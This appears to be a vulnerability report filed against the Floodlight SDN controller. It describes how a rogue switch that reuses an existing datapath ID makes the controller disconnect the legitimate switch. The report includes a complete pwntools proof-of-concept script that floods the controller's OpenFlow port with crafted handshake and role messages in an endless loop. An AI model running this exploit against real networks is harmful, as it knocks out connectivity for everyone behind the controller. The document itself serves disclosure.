The controller handshake process will render the network unavailable

[ErodedElk]

Describe the bug

After the controller establishes a connection with the switch, if the malicious switch sets its datapath ID to be the same as the ID of the existing switch, the controller will disconnect the previous switch.

To Reproduce

Steps to reproduce the behavior:

1. Start the controller and mininet

java -jar ./target/floodlight.jar
sudo mn  --switch=ovsk,protocols=OpenFlow13 --controller=remote,ip=0.0.0.0,port=6653 --topo linear,2

2. Test network status
   

3. run poc.py

from pwn import *
context.log_level="debug"

hello="0400000800000001"
FeaturesReply="0406002000000000000000000000000100000000fe0000000000004f00000000"
PortDescStatsReply="0413001000000000000d000000000000"
barrier="04150008fffffffe"

GetConfigReply="0408000c000000000000ffff"
muti="04130430fffffffc00000000000000004e69636972612c20496e632e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004f70656e207653776974636800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322e31332e38000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004e6f6e650000000000000000000000000000000000000000000000000000000073310000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
TableFeaturesStatsReply="0413001000000000000c000000000000"
role="041900180000001900000002000000000000000000000000"

def hex2byte(i):
    return bytes.fromhex(i)

while 1:
    try:
        p=remote("0.0.0.0",6653)
        p.send(hex2byte(hello))

        p.send(hex2byte(FeaturesReply))

        p.send(hex2byte(PortDescStatsReply))

        p.send(hex2byte(barrier))

        p.send(hex2byte(GetConfigReply))

        p.send(hex2byte(muti))
        p.send(hex2byte(TableFeaturesStatsReply))

        p.recvuntil("\x04\x18\x00\x18")
        #xidtar=(p.recv(4))[::-1]
        xidtar=(p.recv(4))
        
        #xidtar=u32(xidtar)

        temp=hex2byte(role)

        temp=temp[:4]+xidtar+temp[8:]
        p.send(temp)

        #break
    except:
        p.close()
        continue

4. Test network status
   

Expected behavior
Commanding "pingall" on mininet will be dropped

Desktop (please complete the following information):

• Floodlight master branch
• OS: Ubuntu20.04

Additional context
This seems to be because when the new switch uses the datapath id that is already in use, the original switch will close the connection.